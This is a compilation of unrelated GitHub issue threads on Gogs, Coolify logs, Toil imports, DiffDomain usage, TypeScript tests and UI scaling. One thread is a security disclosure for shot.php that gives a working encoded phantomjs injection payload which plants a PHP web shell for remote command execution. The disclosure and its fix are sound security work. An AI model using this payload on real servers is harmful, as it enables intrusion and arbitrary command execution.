Git version: git version 2.7.4 (Apple Git-66)
Operating system: mac os x ei 10.11.4
Database:

[ ] SQLite

Can you reproduce the bug at http://try.gogs.io:

[ ] Yes   https://try.gogs.io/snow/test1/pulls

Log gist:

Description
1.派生一个仓库
2.进入派生的仓库中，仓库设置里勾选 启用合并请求以接受社区贡献
3.合并请求，创建合并请求
...

Patch has pushed to fix this issue, please test on develop branch or https://try.gogs.io.


shot.php executes arbitrary commands via phantomjs

$url_segs in shot.php is defined before filtering a $url variable in 65-71 lines, so an attacker can inject a payload via $screen_file that defined as
74: $screen_file = $url_segs['host'] . crc32($url) . '_' . $w . '_' . $h . '.jpg';
and used then in js code which phantomjs executes:
105: page.render('{$screen_file}');
The main complexity for an attacker is limitation of the unix file naming, but it's not enough to protect from a code execution, so the vector, that avoids this 'problem', may look something like this:
');require(String.fromCharCode(102,115)).write(String.fromCharCode(106,111,98,115,47,49,46,112,104,112),String.fromCharCode(60,63,112,104,112,10,115,121,115,116,101,109,40,36,95,71,69,84,91,99,93,41,59));<!--
After submitting it as "URL for screenshot" input field will be created 1.php file contents:
<?php system($_GET[c]);
in jobs directory and request jobs/1.php?c=<command> will show the result of executing <command>

hi @d0uji, very good catch, do you have idea how to fix it?
ping @MASNathan

hi @peter-mw, i guess you need to filter $url  before defining the $url_segs not after, and also filter $job_file via escapeshellarg() before putting to file(i've not found any PoC to this vuln, but it is cause of phantomjs binary functionality, in newer versions of phantomjs this bug can also become exploitable)

Tank you for your input @d0uji , as of today, that doens't happen anymore, as you can check on
line 93 of the file Capture.php
You migth be running an outdated version of the screen library
If you find any other issue please let us know.

@MASNathan, yes, Capture.php isn't affected, but your repo stil contains an outdated version and people who wants to use a first release will face this security issue. I know you no longer support the outdated one, but anyone can clone it to yourself, so I thought you'd fix it(e.g. microsoft fixes critical bugs in windows xp)
Anyway, thank you for the prompt reply

Very well, I released v0.0.2 to fix this issue.

Thanks for fixing, i will update my local copy now


Please add simple command run ui

some 🐳 docker providers don't have access to terminal like 🤗 hugging face if it is possible please add something like this
then I can push compiled models to 🤗 hugging face like those https://huggingface.co/trrt
python -c "from huggingface_hub import create_repo, upload_folder; hf_token = 'token_here'; repo_id = 'trrt/copiled_tensorrt_engines'; upload_folder(folder_path='/content/copiled_tensorrt_engines', path_in_repo='', repo_id=repo_id, commit_message='content', token=hf_token)"

from subprocess import getoutput

def run(command):
    out = getoutput(f"{command}")
    return out

I did something like this https://github.com/camenduru/Lsmith/tree/dev not good but working 😋


fixes regex patterns on typescript files

Now fails silently on no match case

It is ok for you if i add ts-node as devDep in order to add .ts tests?

The "bug" started because TS devs during development, usually, use ts-node so no real compilation with .js files emit is needed. If we want to test this case, i think we need ts-node.
As you can see on https://github.com/fastify/fastify-plugin/issues/38 stacktrace has .ts files in it.

Just to clarify one more thing: the case of .ts -> .js compiled files is already handled by tests included.

I found this issue https://github.com/tapjs/node-tap/issues/313 on tap and typescript. Since we need to test ts-node we have to use it to run .test.ts scripts. I followed what https://github.com/tapjs/node-tap/issues/313#issuecomment-245441839 says.

Ok, it is not working. It is the same as require('ts-node').register(), that I already tried before hash bang thing.
It just says
❯ npm run test-ts

><EMAIL_ADDRESS>test-ts /Users/maksim/Projects/fox1t/fastify-plugin
> tap test/composite.test.ts

total ................................................. 0/0

  0 passing (3.805ms)

  ok

Is that a tap limitation?

Oh I'm sorry, you should change the extension of test/composite.test.ts to  test/composite.test.js.

@mcollina you made it. I fexed with .js extension and now works like a charm.
👍


Bug fix student login

Fix session cookie?

Also, fix multiple re renders with student login.

Done I belive


std_dev, mean, movable from cgcluster to bd2k?

Hello,
I was hoping to get around installing cgcluster but apparently this is needed for some core functionality of toil. Would it be feasible to move it to bd2k-python-lib? This is what it looks like for me:
$ toil -h
Traceback (most recent call last):
  File "/usr/bin/toil", line 11, in <module>
    load_entry_point('toil==3.5.0a1.dev319', 'console_scripts', 'toil')()
  File "/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py", line 561, in load_entry_point
    return get_distribution(dist).load_entry_point(group, name)
  File "/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py", line 2631, in load_entry_point
    return ep.load()
  File "/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py", line 2291, in load
    return self.resolve()
  File "/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py", line 2297, in resolve
    module = __import__(self.module_name, fromlist=['__name__'], level=0)
  File "/usr/lib/python2.7/dist-packages/toil/utils/__init__.py", line 6, in <module>
    from toil.provisioners.aws import getCurrentAWSZone
  File "/usr/lib/python2.7/dist-packages/toil/provisioners/aws/__init__.py", line 19, in <module>
    from cgcloud.lib.util import std_dev, mean
ImportError: No module named cgcloud.lib.util

Many thanks
Steffen

@smoe thanks for reporting the issue! I just opened a PR to fix it up.

Wanted to report the same problem. Happy to see that it's already underway.


Text looks blurry

this never happened before, i even try with the old version and still got the same issue.

it could be my windows settings but i don't know which setting that caused this. maybe you or someone can help

Try opening the fonts.xml file and increase the "Quality" value.

Try opening the fonts.xml file and increase the "Quality" value.

still the same. i guess it's my windows setting then...


Next gen

Changes to make twilio-chat work with next-gen libs.
⊂(ʘ‿ʘ)つ

thanks @juancarlospaco ! Looks good to me


SAK-48844 grader: hide grading button for lti gradings

https://sakaiproject.atlassian.net/browse/SAK-48844

@csev Could you give this a quick try out with the sticky grader?

@csev If you could give this a quick test when you're over the hump on your course, that'd be great. Thanks.


[Bug]: Coolify repeatedly restarting / unable to start service db-migration / v4.0.0-beta.311/312

Description
Coolify keeps restarting
Before posting this I tried again without running sudo apt update and it installed beta.312 but same outcome
Let me know if I can help by providing any extra info.
Minimal Reproduction (if possible, example repository)

Created new VPS on Hetzner running ubuntu 20.04
sudo apt update
sudo apt upgrade and sudo apt autoremove (Same thing without upgrading, I rebuilt between attempts)
curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash
Click the link to get started - Can't be reached

Then I ran docker ps -a, noticed coolify was restarting.
Exception or Error
Output from docker logs coolify:
--------------------------------------------------------------------
____                             ____  _     _        _   _
/ ___|  ___ _ ____   _____ _ __  / ___|(_) __| | ___  | | | |_ __
\___ \ / _ \  __\ \ / / _ \  __| \___ \| |/ _` |/ _ \ | | | |  _ \
___) |  __/ |   \ V /  __/ |     ___) | | (_| |  __/ | |_| | |_) |
|____/ \___|_|    \_/ \___|_|    |____/|_|\__,_|\___|  \___/| .__/
                                                            |_|

Brought to you by serversideup.net
--------------------------------------------------------------------

To support Server Side Up projects visit:
https://serversideup.net/sponsor
-------------------------------------
GID/UID
-------------------------------------

User uid:    9999
User gid:    9999
-------------------------------------

🔓 SSL_MODE has been DISABLED, setting the web server to work in HTTP only...
🏃♂ Checking for Laravel automations...
🔐 Linking the storage...

In StreamHandler.php line 140:

  The stream or file "/var/www/html/storage/logs/laravel.log" could not be op
  ened in append mode: Failed to open stream: Permission denied
  The exception occurred while attempting to log: SQLSTATE[42P01]: Undefined
  table: 7 ERROR:  relation "instance_settings" does not exist
  LINE 1: select * from "instance_settings" where "instance_settings"....
                        ^ (Connection: pgsql, SQL: select * from "instance_se
  ttings" where "instance_settings"."id" = 0 limit 1)
  Context: {"exception":{"errorInfo":["42P01",7,"ERROR:  relation \"instance_
  settings\" does not exist\nLINE 1: select * from \"instance_settings\" wher
  e \"instance_settings\"....\n                      ^"],"connectionName":"pg
  sql"}}

s6-rc: warning: unable to start service laravel-automations: command exited 1
In Connection.php line 813:

  SQLSTATE[42P01]: Undefined table: 7 ERROR:  relation "instance_settings" do
  es not exist
  LINE 1: select * from "instance_settings" where "instance_settings"....
                        ^ (Connection: pgsql, SQL: select * from "instance_se
  ttings" where "instance_settings"."id" = 0 limit 1)

In Connection.php line 412:

  SQLSTATE[42P01]: Undefined table: 7 ERROR:  relation "instance_settings" do
  es not exist
  LINE 1: select * from "instance_settings" where "instance_settings"....
                        ^

s6-rc: warning: unable to start service db-migration: command exited 1
/run/s6/basedir/scripts/rc.init: warning: s6-rc failed to properly bring all the services up! Check your logs (in /run/uncaught-logs/current if you have in-container logging) for more information.
prog: fatal: stopping the container.

Output from docker logs coolify-db:
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.

The database cluster will be initialized with locale "en_US.utf8".
The default database encoding has accordingly been set to "UTF8".
The default text search configuration will be set to "english".

Data page checksums are disabled.

fixing permissions on existing directory /var/lib/postgresql/data ... ok
creating subdirectories ... ok
selecting dynamic shared memory implementation ... posix
selecting default max_connections ... 100
selecting default shared_buffers ... 128MB
selecting default time zone ... UTC
creating configuration files ... ok
running bootstrap script ... ok
sh: locale: not found
2024-07-12 13:02:59.865 UTC [36] WARNING:  no usable system locales were found
performing post-bootstrap initialization ... ok
initdb: warning: enabling "trust" authentication for local connections
initdb: hint: You can change this by editing pg_hba.conf or using the option -A, or --auth-local and --auth-host, the next time you run initdb.
syncing data to disk ... ok

Success. You can now start the database server using:

    pg_ctl -D /var/lib/postgresql/data -l logfile start

waiting for server to start....2024-07-12 13:03:00.404 UTC [42] LOG:  starting PostgreSQL 15.7 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit
2024-07-12 13:03:00.406 UTC [42] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2024-07-12 13:03:00.411 UTC [45] LOG:  database system was shut down at 2024-07-12 13:03:00 UTC
2024-07-12 13:03:00.415 UTC [42] LOG:  database system is ready to accept connections
 done
server started
CREATE DATABASE

/usr/local/bin/docker-entrypoint.sh: ignoring /docker-entrypoint-initdb.d/*

waiting for server to shut down....2024-07-12 13:03:00.566 UTC [42] LOG:  received fast shutdown request
2024-07-12 13:03:00.568 UTC [42] LOG:  aborting any active transactions
2024-07-12 13:03:00.570 UTC [42] LOG:  background worker "logical replication launcher" (PID 48) exited with exit code 1
2024-07-12 13:03:00.571 UTC [43] LOG:  shutting down
2024-07-12 13:03:00.573 UTC [43] LOG:  checkpoint starting: shutdown immediate
2024-07-12 13:03:00.622 UTC [43] LOG:  checkpoint complete: wrote 920 buffers (5.6%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.016 s, sync=0.029 s, total=0.051 s; sync files=301, longest=0.002 s, average=0.001 s; distance=4233 kB, estimate=4233 kB
2024-07-12 13:03:00.630 UTC [42] LOG:  database system is shut down
 done
server stopped

PostgreSQL init process complete; ready for start up.

2024-07-12 13:03:00.691 UTC [1] LOG:  starting PostgreSQL 15.7 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit
2024-07-12 13:03:00.691 UTC [1] LOG:  listening on IPv4 address "<IP_ADDRESS>", port 5432
2024-07-12 13:03:00.691 UTC [1] LOG:  listening on IPv6 address "::", port 5432
2024-07-12 13:03:00.694 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2024-07-12 13:03:00.698 UTC [58] LOG:  database system was shut down at 2024-07-12 13:03:00 UTC
2024-07-12 13:03:00.704 UTC [1] LOG:  database system is ready to accept connections
2024-07-12 13:03:05.474 UTC [69] ERROR:  relation "instance_settings" does not exist at character 15
2024-07-12 13:03:05.474 UTC [69] STATEMENT:  select * from "instance_settings" where "instance_settings"."id" = $1 limit 1

Truncated output, the final 2 lines repeat.
Version
v4.0.0-beta.311/312

Can confirm. Rolling back to 4.0.0-beta.310 worked for me:
LATEST_IMAGE=4.0.0-beta.310 docker compose --env-file /data/coolify/source/.env -f /data/coolify/source/docker-compose.yml -f /data/coolify/source/docker-compose.prod.yml up -d --pull always --remove-orphans --force-recreate

Fixing

This will be fixed v313.

Wow, that was quick, thanks Andras!


Question about example 2

Hi,
I tried your example 2. The commands and output results(adjusted_TADs2.txt_types.txt) are attached.
# ========= Example2: Testing TADs on all chromosomes =============

# <bed> data/GSE63525_GM12878_primary+replicate_Arrowhead_domainlist.txt
# <ofile: output file> temp/temp.txt
python3 ${diffdomain_py3}diffdomains.py dvsd multiple ${hic0} ${hic1} ${diffdomain_home}data/GSE63525_GM12878_primary+replicate_Arrowhead_domainlist.txt --ofile ${res_path}temp/temp.txt

# <input> temp/temp.txt
# <output> adjusted_TADs2.txt
python ${diffdomain_py3}diffdomains.py adjustment fdr_bh ${res_path}temp/temp.txt ${res_path}adjusted_TADs2.txt
# --filter true adj_pvalue<=0.05
# The final output is saved to <diff_res/reorganized_TADs_GM12878_K562.tsv>
python ${diffdomain_py3}diffdomains.py adjustment fdr_bh ${res_path}temp/temp.txt ${res_path}reorganized_TADs_GM12878_K562.tsv --filter true

cd ${res_path}
# -d diffdoamin's outcome
# -t the other tadlist
# output diffDomain/diff_res/{}_types.txt
python ${diffdomain_py3}classification.py -d ${res_path}adjusted_TADs2.txt  -t ${diffdomain_home}data/GSE63525_K562_Arrowhead_domainlist.txt
python ${diffdomain_py3}classification.py -d ${res_path}reorganized_TADs_GM12878_K562.tsv  -t ${diffdomain_home}data/GSE63525_K562_Arrowhead_domainlist.txt

In the result, it is observed that, for some regions, there are only condition 1 entries whose type is loss; while for other regions, the type of consition 2 are always nan.
I am not sure what happend. May I ask whether I made any mistakes when using the diffDomain tools? Could you please help with this problem?
Thank you.
Best regards,
Stacey LIU

adjusted_TADs2.txt
adjusted_TADs2.txt_types.txt

Hey
Your run on the example is correct.
The subtype column was meant to further classify the type column. Missing value nan in the subtype column represents that the type results cannot be further classified into more than one subgroups, as in the case for the reorganized TADs that are loss in condition 2.

Thanks for your reply!
I understand what the subtype mean at this time.
So, in this example 2, the results mean that there are no types of reorgnized TADs are identified under the condition 2, since all elements from type column under conditon 2 are nan. Is this understanding correct?
And may I ask how you compare and get this number "DiffDomain identifies that 30.771% of GM12878 TADs are reorganized in K562" based on the results in adjusted_TADs2.txt_types.txt?
Thank you.
Best regards,
Stacey LIU

Yes.
Please note that this does not mean that condition 2 has no TADs that are reorganized in condition 1. To identify condition 2 TADs that are reorganized in condition 1, just treat condition 2 as a new condition 1 and condition 1 as a new condition 2 and rerun DiffDomain. In the example2, treat K562 as condition 1 and GM12878 as condition 2.

2 To get the proportion of TADs that are reorganized in condition 2, we need to count two numbers.

the number of reorganized TADs
significant column in adjusted_TADs2.txt_types.txt  indicates whether a TAD is significantly reorganized, with 1 standing for significant, 0  for not significant, and nan for condition 2 TADs. Count the number of 1 should get the number of reorganized TADs.
the number of TADs
Count 'condition1' in  the origin column.


[FEATURE] Scale the compact view window

Is your feature request related to a problem? Please describe.
I like the compact view, but not for it's small size, but it's cleanliness and usefulness. But it's a bit small on my screen. Can you add an option to scale it? The font is very small and I have problems seeing everything in it. It's even smaller then everything else, which doesn't have such a lot of info put in such a small place.
Describe the solution you'd like
I'd like to have the option to scale the simple calendar window by let's say 50%, 75%, 100%, 150%, 200%.
Describe alternatives you've considered
Rescaling the whole application. But I am happy with the size of everything else.
Additional context
I think here you can see, that it's just a bit smaller then everything else. Enough to make it hard to read especially the moon phasees and buttons. I mean I know, which button does what, but it just doesn't look good with the low contrast.

It might look ok on a Full HD monitor, but on a 4k screen it's tiny.

Yeah I don't have a 4k monitor so it could be quite small. I can look at adding a scaling option or improving it on high resolution monitors.

In version 2.1.80 I have added scaling options to the client settings, you can scale the UI Larger or smaller in increments of 10 from 70% to 200%. That should hopefully allow you to get the compact view scaled larger for your screen!